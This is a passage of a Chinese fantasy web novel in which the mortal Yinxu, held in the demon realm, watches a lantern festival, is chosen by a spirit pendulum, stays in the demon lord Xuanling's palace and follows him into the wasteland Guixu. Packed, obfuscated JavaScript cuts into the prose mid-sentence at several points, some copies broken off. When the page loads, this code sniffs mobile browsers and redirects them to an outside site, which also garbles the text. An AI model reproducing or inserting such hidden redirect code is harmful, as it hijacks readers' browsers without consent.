“当然是真的。”云诡随手撩了撩额前的碎发。目光中带着一丝疑惑疑惑：“下界……没有这样的祭灯活动吗？” “有的。”音续点头：“上元节的时侯，也会放灯。” 她顿了顿：“据说很漂亮，但我从来没有去看过。” “上元节是什么时候？”云诡问。 “是在一年中最冷最冷的时候。”音续抬眼望向窗外深沉的夜，声音像是隔着雪雾传来：“那时京城会下雪，厚厚的，白得耀眼，有时一连下一天一夜，第二天清晨，推开门，天地间就像是被重写了一样。” “魔界会下雪吗？”她问。 “没见过呢。”一坨轻轻摇头。 “没见过也好。”音续笑了笑：“我最讨厌冬天了。” 牢房里的光线随着夜色降临而逐渐黯淡，只有隐隐约约的月色透过窗户，远看像是一条静静流淌的河。风自山间穿来，带着闷热的干燥与松木香。 这里不像音续先前住的屋子，四周没有黑漆漆的树林和古怪的异兽。月光异常温和，她静静看着夜色，等待灯海从黑暗中浮现，向千万颗被心愿托起的星，缓缓经过囚笼的窗外。 亥时三刻，牢房里静得连草垫轻轻挪动的声音都清晰可闻。音续踩在堆成团的草垫子上，抻着脖子朝外张望。夜风从窄窄的缝隙里钻进来，带着山林里的凉气。音续正探头，脚底的草垫被风卷起一角，轻轻拍了拍她的脚踝。 音续觉得有些痒，便俯下身子把脚踝旁的枯草扫去。再一抬眼时，天边却变了副模样。 夜空突然亮了。无数盏灯，从山谷深处缓缓升起，漂浮在深沉的夜色之中。它们轻盈的像会呼吸的光，先是零星的、试探的几点星火，怯生生悬在深黑色的墨布上，紧接着，更多的光点喷涌而出，像是融化的星河从地脉深处流淌而来，汇聚、蜿蜒、连缀成一条壮阔的光河，洋洋洒洒地铺满了半边天。 “真美啊！”一坨的脑袋凑了过来。音续往旁边站了站，她小心地扶着一坨软趴趴的身子，生怕它因看得太入神而脚滑滚落在地。 天地间静得只剩下牢房内的呼吸声，半晌，云诡凑到音续耳边，低声开口：“许个愿吧。” “嗯？”音续回头看她。 “听说，初祭日的灯海，只为还在路上的愿望亮一次。”云诡朝她眨眨眼。 “许了就能成真吗？”一条也是第一次听见这个说法，有些惋惜地说：“我以前从来没许过！浪费了那么多好机会！” “说不准。”云诡偏了偏头，嘴角勾起一丝意味不明的笑：“有的愿望会飘很远，有的会掉进潭底，化成泡泡水。” “那还许不许啊？”一条双手撑着脑袋：“我可是有一箩筐的愿望呢。” “多说无益，试试总行吧。”云诡笑眯眯地看向音续：“来，你先说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213453|181397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “我吗？”音续很是意外地指了指自己。 她愣了愣，目光落回缓缓流淌的灯河之中。那些光在山风中漂移，仿佛能载走一切说不出口的东西。音续突然想起了自己的家。在凡间，上元节，也是这样震撼的场景吗？漫天灯河之下，难辨天上人间。 她抿了抿唇，轻声开口：“我……我希望有一天能回家。” 话音刚落，一坨软软的脑袋就靠了过来：“我希望音续的愿望可以实现。” 与此同时，抱着胳膊的一条也大声开口：“我希望有人能锤尊上一顿！”它挺直了背，偷偷摸摸地瞟了音续一眼：“然后让我的朋友回家！” 云诡没憋住笑意，扶着墙蹲了下去：“好啊好啊。”她眉眼弯弯：“那我就希望大家都不要忘了彼此吧。” 音续偏过头，看见灯河的光影映在云诡侧脸上，眼底的笑意和那句愿望一样，让人分不清是玩笑还是认真。 灯河越过群山，远处的光慢慢稀薄下去，在天际渐行渐远。 眼前的色与光被抽空，耳边的呼吸声被四周突兀的静寂吞没。她低下头，发现自己脚下的草垫不知何时已经变得湿凉，像是刚从一场深水中捞出来。 “明天就是中祭日了。”云诡半靠在墙上，手中转着一片不知从哪摘来的枯叶，月光从她发丝间流下来，在地上投出一条斜斜的影。 音续炸了眨眼，还没来得及回答，又听见云诡补充了一句：“明天灵摆指向你时，也记得露出这样的表情。”她声音轻而沉，带着一点笑意。 “对，就是这样，傻傻的，什么都不知道。”云诡走近两步，隔着一臂距离拍了拍她的肩。 “归墟……没有你想象的那么可怕。” 音续怔住，那两个字听起来陌生又压抑，让她忍不住打了个寒颤。 “进去走一遭，出来之后就可以回家了。”云诡的语气仿佛在劝一个犹豫的旅人。 “不要怕，我们会在外面等着你的。”一条安慰她。 “谢谢。”音续打量了一下空旷的牢房：“虽然听起来不像是什么好话。” 9. 灵光错引尘缘路，半月修行赴墟途 翌日清晨，灰蓝色的天光透过小窗的铁栅，带着夜里未散尽的湿意，悄无声息地爬上石壁。 音续正沉浸在一个恍惚的梦里——她好像回到了凡间，沿着河堤追一盏飘的极慢的纸灯。那灯明明就在前方，却总是在她伸出手的一瞬间，轻轻飘远了，紧接着，一条冰凉的藤蔓突兀地缠上她的手臂。将她从梦境中生生拽了出来。 “快醒醒，快醒醒。” 那声音急促又带着一丝低压的紧张感。 音续迷迷糊糊地睁开眼，嘴里喃喃道：“……灯……” “灯？已经没有灯了！”那声音陡然增大。 她揉了揉眼睛坐起身，眼前出现一条细长的影子，正是一条。两只像藤蔓一样的手臂一群群缠在她的胳膊上，晃得她整个人像漂浮在水面的船一样荡来荡去。 “怎么了？”音续声音里带着将醒未醒的沙哑。 “流程！流程你还记得吧……”一条盯着她，眨巴着那只几乎要占满半张脸的大眼睛，语气紧绷的仿佛马上就要出大事：“要不要先演练一遍？” “嗯？”音续皱了皱眉，试图从脑海里找出有关“程序”的内容。她用力闭了下眼，又慢慢睁开，思绪像是沾了露水的绳结，打得又紧又乱。音续呆呆地目视前方，在原地愣了三秒，才恍然回过神：“哦——你是说灵摆的事啊。记得呢，都记得的。” 一条才不信她嘴上那句记得，一把拉住音续的手臂，把她从石板上拽起来：“快快，时间不多了，我们先演习一下。” 下一秒，一条陡然换了副神情。它退后两步，腰杆一挺，然后伸出食指朝向地面，在音续眼皮子底下晃啊晃。 指尖先是缓缓摇摆两下，忽而像被某种力量牵引般剧烈抖动，伴随着一条嘴里颇有节奏的“滋滋嘎嘎”声，在牢内众人的目光中“咻”得指向音续。 音续：…… 云诡：…… 两人对视一眼，显然还未从这个突如其来的表演中反应过来。 可一条显然已经完全入戏，攥着自己的手使劲朝音续挤眉弄眼：“快啊，到你了！” 音续心领神会，立马抱着头蹲在角落，难以置信地盯着那根细细长长的手指：“哦，不！怎么会这样！” 她痛苦地闭上眼，语气凄切夸张：“我只是一个凡人……我什么都不知道啊，怎么会选中我呢？” 凡人二字被她刻意拖长了尾音，听上去分外委屈。 “噗——”一坨终于没忍住，笑声在幽暗的牢房里炸开，带着回声在石壁间乱撞。 “诶诶，戏过了……”云诡倚着墙角，声音带着挪揄：“自然一点，拿出你平时那副呆呆傻傻的模样就行。” 音续还没来得及反驳，就听见一条很不服气地嚷道：“我觉得这样就很好，很符合音续一贯的风格！” “什么一贯的风格，我看……” 眼见着两人就要为“音续平时到底是什么样”而吵起来，音续赶忙走上前安抚道：“好了好了，我有分寸，到时候看我发挥。” 话虽这么说，但她心里其实一点底都没有。音续退到墙边，靠着冰冷的石壁抬头望向那扇高挂的小窗。昨日的夜空美得恍如幻梦，而今日却已变为棘手的现实。她低低叹了口气，想平复一下心情，但闭上眼，脑海中全是浩浩荡荡的灯河，在黑夜里洋洋洒洒铺满半边天。 此刻，同样沉浸在灯海余韵中的，还有正坐在大殿上假寐的玄凌。 尽管魔卫已经一趟又一趟地进来通报，仙界某个闪亮亮的神仙已抵达外殿，妖族某个金灿灿的大能正侯在阶下，但玄凌丝毫没有打算理会这些“闪亮亮”们，他气定神闲地闭着眼在脑海里赏灯，被扰得不耐烦了才皱眉抛出一句：“让他们等。” 对自家尊上脾性了如指掌的赤炀给魔卫递了个眼色，那魔卫唯恐触怒尊上，忙战战兢兢地退下了，临走前，还顺手掩上了殿门。 可惜安宁的时光并没有持续多久。 半晌，一个小侍卫慌慌张张地跑进来，脸色惨白，一进殿便扑通一声跪倒在地。 “禀……禀尊上……” 他喉结上下滚动，最终咽下一口唾沫：“天……天君来了。” 玄凌终于睁开眼。 面前的小侍卫不敢抬头，维持着这个跪地不起的姿势在地上打颤。 “怎么？”玄凌冷笑一声：“别人等得了，他天君就等不得？” 殿中静默了片刻。 小侍卫还跪在地上，似乎在等待一声允诺。玄凌却缓缓移开视线，抬起手，像是挥散一只扰人的飞虫。他没有说话，看着小侍卫战战兢兢地退了下去。殿门在厚重的轰鸣声中合拢，将外头那股金色的光芒隔绝在外，只余殿中幽冷的暗影。 赤炀侧首看了他一眼。欲言又止。玄凌眼皮都未抬，只从坐榻上起身，衣袍在地面拖出一声极轻的摩擦声。 玄凌并不想见天君。 长廊蜿蜒，殿门重重，越往里走，空气就越沉。外头的风声被挡在了厚墙之外。玄凌的脚步极稳，像是在走一条早已熟稔到骨子里的路。内殿的门由侍女推开，暖香从暗处散出来，细细缭绕。 他独自走进殿中，背影被高窗透下的一缕白光勾出长长的线。殿内陈设极简，唯有正中一方玉案，案上放着一只青色小炉，炉中檀香未灭，香烟攀升而上，消散在半空的金丝帷幕后。 玄凌抬手褪下外袍，随意搁在案旁。他没有立刻坐下，而是转过身，走到窗边，指尖搭在窗棂上，目光越过层叠的殿宇与黑瓦，落向远处依稀可见的城郭。 天色尚早，魔界的天空仍笼着一层幽蓝，像是被夜色余韵轻轻覆盖。而在那深蓝色的底色之下，他似乎还能捕捉到昨夜的影子——那条浩荡的灯河，顺着长街蜿蜒而下，汇入城心广场，灯火在风中轻颤，映得无数张面孔温暖而安宁。 他很少去看这些。那夜却不知为何驻足良久。 灯光在他眼中化作漫天的流影，仿佛时光倒转，将他带回更久远的记忆深处。 ——记忆里，也有这样一夜。 那时的魔界还没有如今的森严规制，天与地的界限也不如现在这般分明。他还很小，被母亲抱在怀中，坐在高崖上的一处风口。崖下是铺天盖地的灯火，人们抬头望天，低声许愿。 母亲的怀抱很暖，身上有一股淡淡的花香，与如今殿中燃的檀香截然不同。她的手细长而冰凉，却总在他耳侧轻抚。 “阿凌，看，那是为来年祈平安的灯。”她的声音轻极了，怕惊扰了什么，“等风停了，它们就会落下来，落在我们脚边。” 他偏过头，看着那双眼睛，眼底的光极亮，亮得像能把人整个人吞进去。那时的他不懂，只觉得那光像极了天边的星，永远不会熄。 放灯是为祈福。臣子向君王祈福，凡人向神明祈福。 可他既是君王，也是神明。他生来就不缺任何东西，不必向谁低头，也不必把愿望托给未知的风与光。 记忆到这里突然断裂，因为那一夜的灯火没有等到风停。 玄凌痛恨灵火，不是因为它的力量可怖，而是它从不怜悯任何一个寄身者。 它会焚尽一切属于“自己”的东西，留下的只是一具承载力量的躯壳。 他记得天边忽然有烈焰冲起，映亮半个夜空。母亲的怀抱骤然收紧，他听见她极轻地喊了他的名字，然后，那是他记忆里最后一次感受到那份温暖。 玄凌闭了闭眼，指尖在窗棂上缓缓摩挲。 当年他率兵镇压渊灵，为的就是能让天君打消重启灵火的心思。可如今，渊灵的气息蠢蠢欲动，天帝那个老家伙来魔界的频率更勤了。 玄凌当然知晓他动了什么心思。为了确保那所谓的秩序，哪怕再多的生命牺牲在火光之中，也在所不惜。 想到这里，他的目光彻底沉了下来。 今天是中祭日，灵摆选灵，归墟现影。这个被六界讳莫如深的所在，连风声都带着陈旧的寒意。那里埋着太多不该被翻出来的东西。 他微微垂眸，像在心中权衡着什么。若想彻底斩断天君的念想，单靠拒见、拖延，都是无用的。只有他亲自走一趟，将归墟的所有情况掌握在自己手里，才能堵死那道门，让灵火与渊灵，永远困在尘封的深渊里。 他要去灵者一同前往归墟。 想到这里，玄凌的唇角微不可察地弯了下。 音续那个可怜的凡人或许还在牢内做一场有关灵摆的春秋大梦，他忽然觉得很有意思，这个凡人，本不在他的任何计划之内，却在一连串意外中被推到他眼前。她身上带着一种不合时宜的笨拙，看似无害，实则像一面镜子，能在不经意间映出旁人的影子。 他已经察觉，她的出现牵动了一些人的情绪，这凡人或许留着也有些用处，毕竟她那姐姐现在可是云澈的心头宝，而云澈，又或许是唯二知晓灵火下落的人。 玄凌垂下眼。 …… 牢房内，空气因即将到来的中祭典礼而愈发凝滞，音续靠着石壁，指尖无意识地抠着墙缝里的青苔。一条还在为刚才的“演技之争”耿耿于怀，绕着云诡转圈，嘴里念念有词：“我那明明是超水平表演，你懂什么叫代入感吗？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213454|181397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >云诡斜睨它一眼，忽然压低声音：“别闹了，仔细听。” 两人二妖顿时安静下来，果然听见远处传来锁链拖动的沉响，由远及近，带着金属摩擦的刺耳声。牢门外的火把忽明忽暗，映得守卫的影子在石壁上张牙舞爪。 “时辰到了，各位随我去祭坛吧。”嗓音穿透牢门，铁锁“哐当”落地，门板被猛地拉开。 中祭日整个王城的人都被要求到场，牢里的两人二妖也不例外。 音续的心猛地一缩，下意识攥紧了衣角。云诡朝她递了个眼色，那眼神里藏着一丝她读不懂的复杂，有担忧，有笃定，还有一丝不易察觉的紧张。 被守卫押着穿过蜿蜒的通道时，音续的脚步有些发飘。石壁上的火把将她的影子拉得忽长忽短，像极了梦里那条缠上手臂的藤蔓。她想起初到魔界那日，云诡塞给她的传音石，此刻正硌在袖袋里，带着一丝微凉。 祭坛设在魔界正中，中央矗立着一块丈高的奇石，石面光滑如镜。 四周围满了人，声音从四面八方传来，扰得音续一个头两个大。 “肃静！”主持祭祀的长老高喝一声，手中法杖重重顿地，“灵摆选灵，天赐神谕，凡被选中者，当前往归墟，探寻渊灵踪迹！” 话音刚落，广场四周的火把骤然拔高，焰光中，长老手中的灵摆忽然微微震颤，表面浮现出细碎的光斑，如同水面的涟漪。所有人都屏息凝视，连玄凌的目光也落在上面。 除了已经十拿九稳的云诡。二妖和音续的心跳得像擂鼓，她想起云诡的叮嘱：无论发生什么，都要装作意外的样子。可当那些光斑慢慢汇聚，最终凝成一道细光，直直指向她时，她还是下意识攥紧了袖口。 说不心虚是假的。她觉得此刻自己一定涨红了脸。有一股热气从脚底直往头顶冒。音续紧张地快断了气。 “不可能！”人群里忽然响起一声质疑，是妖族的一位长老，“此女身上并无灵气，想必是个什么都不知道的凡人，怎配得上灵者之位？” 那妖族长老的质疑声刚落，主持祭祀的长老眉头便紧紧蹙起，浑浊的眼珠在音续身上来回扫视，仿佛要将她从里到外看个通透。他执掌祭祀多年，见过无数次灵摆选灵，却从未见过灵摆会选中一个毫无灵气的凡人，握着法杖的手不自觉地收紧，指节泛白。 广场上的议论声像潮水般涌来，“凡人怎么能当灵者？”“灵摆是不是出问题了？”“这其中怕不是有什么猫腻？”各种声音交织在一起，搅得人心烦意乱。音续垂着头，感觉无数道目光像针一样扎在自己身上，后背已经沁出了一层薄汗。 主持祭祀的长老沉默了许久，终于重重地咳嗽了一声，广场上的议论声瞬间平息。他举起法杖，高声道：“灵摆选灵，自有天意，岂容尔等妄议！” 话音刚落，他又低头看了看灵摆，那道细光依旧稳稳地指着音续，没有丝毫动摇。长老的眉头皱得更紧了，他思索片刻，缓缓开口：“既然灵摆选中了这位姑娘，那便按规矩来。只是归墟凶险，此女乃是凡人，对魔界之事一无所知，若贸然前往，恐有不测。” 他顿了顿，目光扫过在场的众人，继续说道：“若是尊上同意，不如将前往归墟的日期推迟半月。这半月内，就让这位姑娘跟着尊上知晓与熟悉归墟，待她稍有了解，再启程不迟。”说罢，他又起身向玄凌行了个大礼。 这个决定一出，广场上再次响起一片议论声，但这次的声音里多了些认同。毕竟归墟关乎六界安危，让一个对魔界一无所知的凡人贸然前往，确实不妥。 玄凌指尖无意识地摩挲着袖角暗纹，眸光落在那道执着指向音续的光线上，眸底掠过一丝极淡的讶异。 他分明早已将幻境中，那枚被云诡动了手脚的灵摆粉碎，可此刻，王城之中，灵摆上跳动的光斑真实得刺目，细光如银线般绷直，死死锁着那个垂首敛目的凡人。 赤炀站在身侧，明显察觉到尊上气息微滞，那是极罕见的失态。他偷眼望去，玄凌唇边依旧噙着惯常的冷淡弧度，只是搭在玉圭上的指节悄然收紧，将温润的玉面按出浅浅白痕。 广场上的议论声浪渐高，玄凌却忽然轻笑一声，那笑声不高，却带着穿透喧嚣的冷冽：“长老既觉妥当，便依你。” 他视线转向音续，那双眼瞳深得像凝了万年寒冰，瞧不出半分情绪：“只是跟着本座，就得守本座的规矩。半月后若仍这般手足无措，灵摆的旨意，本座也未必认。” 话音落地时，他已转身走向殿阶，玄色衣袍扫过祭坛青石，带起的风卷得烛火剧烈摇晃，却没再看那枚“失灵”的灵摆一眼。 10. 幽魔界里断旧梦，寂夜宫深启残生 音续正式住进了王宫。 侍女引着她穿过层层回廊。脚下的青石板被打磨得光滑温润，映着廊外吹落的藤蔓。 “姑娘，这便是寂夜宫了。”侍女推开门，轻声道：“尊上吩咐了，您且在此处住下，有任何需求，吩咐婢子们便是。” 音续连连摇头：“不用不用，没什么需要麻烦你们的，我自己来就行。”她目光扫过宫内陈设。不同于别处的幽冷，这里竟然摆着几盆开得正好的山茶，花瓣上还沾着晨露，透出几分难得的清雅。 待侍女退下，音续紧绷的神经才稍稍松弛，她回想起祭坛前的那一幕幕，能暂时避免被丢进归墟是好，可要在玄凌眼皮子底下待上半个月，真是叫人头皮发麻。 她摸出袖中的传音石，指尖轻轻摩挲着冰凉的石面，试探着开口：“云诡？” 那头很快传来云诡压低的声音：“我在呢。”声音顿了两秒，随后又轻轻响起：“在宫里安分一些，别乱跑，等我空了就去找你。” 音续点点头，等石头里没了声音，才意识到云诡根本看不见。 “归墟……到底是个什么样的地方。”音续有些担忧地问。 那头没有声音。 “云诡？”音续提高了嗓音。 那头还是没动静。 “云诡云诡？” 依旧无人回答。 “云诡云诡云诡？”音续把手里的传音石颠来倒去地看了又看，嘀咕道：“坏了？这东西也不靠谱啊……” 她百无聊赖地在殿内转了两圈，实在坐不住，索性推开殿门透透气。 寂夜宫比她想得要大得多，假山叠嶂，曲径通幽，她顺着一条石板路往前走，看着路旁盛开着的不知名小花，情不自禁地感慨：这地方看着真不错啊…… 不知走了多久，音续走到一处偏僻的角门，门外是一片开阔的庭院。她看着这里不太像寂夜宫的风格，正想退回去，就听见两道熟悉的声音从前方的亭子里传来。 “尊上，依据天君的意思，归墟之事不可再拖，若那凡人不行……”是赤炀的声音。 玄凌的声音紧随其后：“拖？他难道以为灵摆被本尊动了手脚？”音续听见玄凌冷笑一声：“天君巴不得渊灵破土重归，好能早早启用他的宝贝灵火……” “那凡人，倒还有些用处，暂且留着……” 冷不丁听见自己的名字，音续心头一紧，下意识往旁边的假山后缩了缩，她屏住呼吸，后背紧紧贴着冰凉的石壁，只觉得心跳像是要撞出来。 这假山石缝狭窄，她藏在里面，把露出的衣角往里掖了掖。 亭内的谈话还在继续，玄凌似乎再次提到了“灵火”，语气逐渐变得凌厉起来。音续想起二妖也曾提到过这两个字，不禁感到有些好奇，究竟是什么神秘的东西，能让魔尊如此忌讳，以致于几乎成为了整个魔族的禁忌。 音续正想听得更清楚一些，忽然觉得后领一紧，整个人被一股力道拎了起来。 她吓得不敢说话，颤颤巍巍地扭过脖子，正好撞进玄凌深不见底的眼眸里。他不知何时已站在了假山后，瞳孔黑的吓人，此刻正面无表情地盯着她看。 头一次这么近距离地跟玄凌脸贴脸，音续差点被那张堪称绝色的脸美晕过去。她壮着胆子深吸一口气，却始终没说出话来。 美啊！真美！ 吓人！也是真吓人！ “躲在这里，听够了？”玄凌的声音不高，却带着一丝不容置疑的压迫。音续强迫自己不去看他的眼睛，脖子朝领口里缩了缩：“我……我迷路了……不是故意偷听的……” 玄凌的目光在她身上停留不过一瞬。 “迷路？”他眼里满是不加掩饰的嘲弄：“寂夜宫的侍卫没告诉你，哪些地方不该靠近吗” 音续浑身发僵，指尖绞着衣角，嗫嚅道：“我……刚住进来，还不太熟悉……” “不熟悉，就待在自己该待的地方。”玄凌打断她的话，声音冷的像淬了冰。 音续很怕自己会被摔在地上。玄凌臂力惊人，音续晃悠着两只脚，心想若是这样摔下去，估计十天半个月都下不了床了。 眼见着玄凌另一只就要掐住她的脖子，赤炀的声音自身后传来，语气平淡得近乎残忍：“记住你的身份。你能站在这里，全凭灵摆一句虚无缥缈的旨意，以及尊上暂时还用得上你。” “别给尊上惹麻烦，更别妄想窥探不该看的，否则——” 他没有说下去，但那未尽之语里的威胁仍是像一把冰冷的刀，悬在音续头顶。 “我知道了。”她低下头，声音轻得像蚊子，不敢再多说一个字。 玄凌没再理会她，转身离开了。 音续站在原地，直到那两道身影消失在亭柱后，才缓缓松了口气。她的后背早已被冷汗浸湿，望着远处幽深的亭子，只觉得一股寒意从脚底板升起。 音续扶着假山咧开嘴，状似一副要哭的样子，她无声地朝天呐喊，又气势汹汹地朝空气摆了几下拳头，这才无精打采地往寂夜宫走。 玄凌临走前没给她指路，音续像个无头苍蝇一样在宫里乱晃，还时不时担心再次撞破什么小秘密。 就这样一直快走到天黑，音续才垂头丧气地回到了寂夜宫。脚下的路仿佛变长了，就连宫殿里那几盆山茶花，此刻也耷拉着脑袋，看上去格外憔悴。 “臭花！”音续和花盆里的花对视两秒，哭丧着脸扑倒在床上。她摸出怀里的传音石，带着哭腔再一次呼唤云诡。 “喂喂喂？” “云诡云诡云诡？” 石头依旧没有动静。 “臭石头！”音续一把把传音石扔在地上，这下好了，唯一能指望的帮手联系不上，自己还差点被玄凌抓了个现行，这半个月怕是难熬了。 她忿忿地捶了一下床，心想，她那时就应该任由玄凌把她扔进归墟里，反正长痛不如短痛，她宁愿嘎巴一下倒地，也不愿在玄凌眼皮子底下度日如年。 正愁着，殿门被轻轻推开，刚才那名侍女端着承盘走进来，上面摆着几碟精致的点心和一碗汤。 “姑娘请用点心。” 音续看着那些点心没什么胃口，她抬起头，问道：“云诡姑娘平时都在忙什么？” 侍女手一顿，脸上露出几分迟疑，显然是没想到她会问这个：“云诡姑娘的事，婢子们不敢妄议。”她把承盘放在桌上，低着头退到一旁：“姑娘慢用，若没别的事，婢子先退下了。” 音续看着她匆匆离去的背影，心里更不是滋味。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“灵火可以焚尽旧秩序，重塑新轮回。甚至可以回溯或是改写特定的时光……当然，这只是已知的能力。” 音续听得倒吸一口凉气：“那代价呢？代价是什么？” 云诡叹了口气：“灵火一旦进入附身者，便会疯狂烧灼记忆，把七情六欲烧得干干净净，让附身者最终成为纯粹的力量容器。” “那后来……” “死了。”云诡说：“魂飞魄散，连轮回都入不了。” 音续沉默下来。殿内霎时静得可怕，只有烛火琵琶行作响。音续张了张嘴，半天没说出话来。她想起提到灵火时玄凌凌厉的语气，忽然懂了那冷意背后藏着的东西，是仇恨、惧怕，深入骨髓的痛苦。 “既然能改写时光，为什么不用它救回尊上的母亲。” “救不了。”云诡摇头：“灵火的反噬不会缺席，注入它的人，最终只会落得同样的下场。” 音续只觉得后背发凉，手心里不断沁出冷汗。她原以为灵火是什么神奇的宝物，但没想到是淬着血的诅咒，能孕育新生，也能毁灭一切，连时光都能撬动的力量，最终只会把附身者拖进万劫不复的深渊。 音续心口像是被什么东西堵住了，闷得发慌。她忽然觉得，这华丽丽的王宫深处，藏着的秘密和伤痛，比归墟的未知还令人心寒。 11. 归墟荒土逢凶兆，镜影殊荣藏诡谲 云诡来也匆匆，去也匆匆。噼里啪啦抛下一段引人深思的话后，留下音续一个人在偌大的宫殿里发呆。 当晚，她毫无疑问地失眠了，并且在接下来的几天中，都处于一种魂不守舍的状态。 半个月后，赤炀来了一趟寂夜宫，通知音续翌日清晨随玄凌入归墟。音续心不在焉地应了一声，迟疑着问自己是否需要准备什么。 赤炀垂着眼，扔下“跟随尊上便可”六个大字，扬长而去。 音续看着他远去的背影，本想再问。环顾四周，忽地想起自己初入魔界时，也是一无所有。 总不能把寂夜宫里那盆山茶花搬走吧。 音续握着手心那块传音石，叹了口气。 翌日天还没亮，音续便被一股巨力从被窝中拽了出来，她还没来得及揉眼睛，就一个屁股蹲坐在了玄凌面前。 本来，灵者入归墟也应有一套浩浩荡荡的仪式，但玄凌向来讨厌那些繁琐的礼节，便通通省去了。 音续迷迷糊糊地坐在地上，盯着玄凌衣摆上绣着的金色云纹，好半天才反应过来自己是怎么从暖和的被窝到这儿的。她手忙脚乱地爬起来，伸手想拍掉裙摆上的灰尘，但又怕动作太大，惹得玄凌不快。 音续透透觑了玄凌一眼，确定他并没有在关注自己后，僵着胳膊掸了掸灰。 “早，早啊……”三秒过后，音续挤出一个自认为清爽活泼的笑容，朝玄凌问候了早安。 想也知道玄凌不会搭理她。 音续讪讪地笑了两声，眼角余光瞥见玄凌指尖微动，身前突然裂开一道泛着冷光的裂缝。裂缝那头流转着细碎的金色光芒，像打碎的镜子，隐约能看见背后灰蒙蒙的景象。 音续抻着脖子想多看两眼，后腰突然被一股无形的力推了一下，她瞪大眼睛，惊呼声还未出口，就踉跄着栽进缝隙里，身后的光影瞬间闭合。 脚下传来的不是预想中坚实的土地，而是一片巨大的黑幕。音续抬了抬左脚，又抬了抬右脚，确定自己真的站在一片虚无上空。虚空之中，漂浮着一条蜿蜒的灯河，只是裂缝中光芒的由来。 无数盏琉璃灯悬在空中，灯芯是淡金色的光团，像揉碎的星子，顺着无形的河道缓缓流淌。灯河旁立着位穿黑袍的女子，兜帽遮住了大半张脸，长长的袍子将她全身捂得严严实实，只露出一截苍白的手指，指尖捏着根法杖，偶尔轻拨，便引得一盏灯从河脉中分离出来，悠悠飘向远处。 那灯河应该是肃穆的，可在墨色的天幕下流动时，竟有种惊心动魄的美，连带着黑袍女的身影，都像幅会动的画。 她看得愣了神，连玄凌已飘向下方都没有察觉。直到冷冽的风卷着碎沙扑在脸上，她才猛地回神，发现自己落了好远。 巨大的黑洞卷着二人，待一阵黑暗袭过，音续脚底终于触碰到了实物。她脚下一软，险些摔倒在地，抬起头，却见玄凌已稳稳落在不远处。 每次都是以及其狼狈的姿势落地，音续心有不满，却又不敢表现出来。她隐隐觉得是玄凌在暗地里给她使绊子，却又觉得堂堂魔尊不应该这么无聊。 想象中暗无天日的混沌没有出现，抬眼望去，归墟的天幕是诡异的绛紫色，天上悬着三轮残缺不全的月，彼此交错时会洒下泛着腥气的光。 “这是归墟？”音续低声自语，原以为该是囚牢般的封闭之地，眼前却铺开望不到边际的荒原。 在此等境地中，连玄凌看着都眉清目秀了不少…… 音续下意识回头寻找玄凌，却发现他已然换了一身衣裳。玄凌没再穿他那身绣着黑色金边的拖地黑色长袍，而是换了件相对简约、材质轻便的……黑色短袍。 音续又低头看了看自己。很好，什么都没变，还是那件丑丑的粗布衫。她心满意足地认为，自己这身衣裳倒是和归墟很搭，至少不会被当成异类。而玄凌看上去就有种格格不入的冷冽与贵气，瞧着随时都有可能被抢走包袱。 音续偷偷往旁边挪了挪脚步。 我可要离他远一点！ 不远处，铁器碰撞的闷响一声声传入耳朵里。音续循声望去，心头一震。数十道佝偻着腰的身影，正拿着铁锹在龟裂的土地里挖着什么。 他们上的仙袍早已磨得褴褛，灵力波动得如同风中的残烛，看上去与她这个凡人无异。裸露的皮肤上布满深浅不一的疤痕，有的还泛着魔气侵蚀的青黑。 “新来的？”一个沙哑的声音响起。 音续转过头，看见个缺了半只耳朵的老者，正用浑浊的眼睛打量她：“看你这模样，倒不像是我们这些遭贬的罪仙。” 这都看出来了！ 音续诧异地低头扯了扯自己的衣衫，确认无误后又抬眼看向老者，见他眼神直勾勾地盯着玄凌，不禁松下一口气，又偷偷摸摸挪远了两步。 她刚想开口，荒原深处突然传来一声凄厉的嘶吼。老者脸色骤变，猛地趴倒在地。音续眼急手快躲到了旁边的巨石后，回过神来时，却发现刚刚还站在身侧的玄凌已不见了踪影。 随后，一头形似巨狼，却长着三对翅膀的怪物呼啸而过，它爪下拖拽着半具仙躯，雪珠低落在裂开的大地上，瞬间被吸得无影无踪。而那些刚刚还在挖土的老仙，此刻竟都趴在地上，连呼吸都轻得几不可闻。 “在这里，别说仙格，能活着就算体面。”老者见音续眼睛都不敢眨一下，显然是被吓了一跳，不禁咧开嘴嘿嘿笑起来。 他指着更远处的一片暗影：“看见没，那边是‘失心渊’，进去的仙人要么被魔气啃噬成疯魔，要么就成了别人的口粮。” 音续顺着他指得方向望去，果然看见几个身影在黑暗中缠斗。那些招式她看不懂，但却能清楚看见那些人眼里如野兽般的凶狠。他们嘴角挂着涎水与血丝，在打斗中将彼此撕得血崩肉绽。 音续打了个哆嗦，猛地回过头，见玄凌就站在不远处。 这人虽神出鬼没，但不知为何，音续见着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 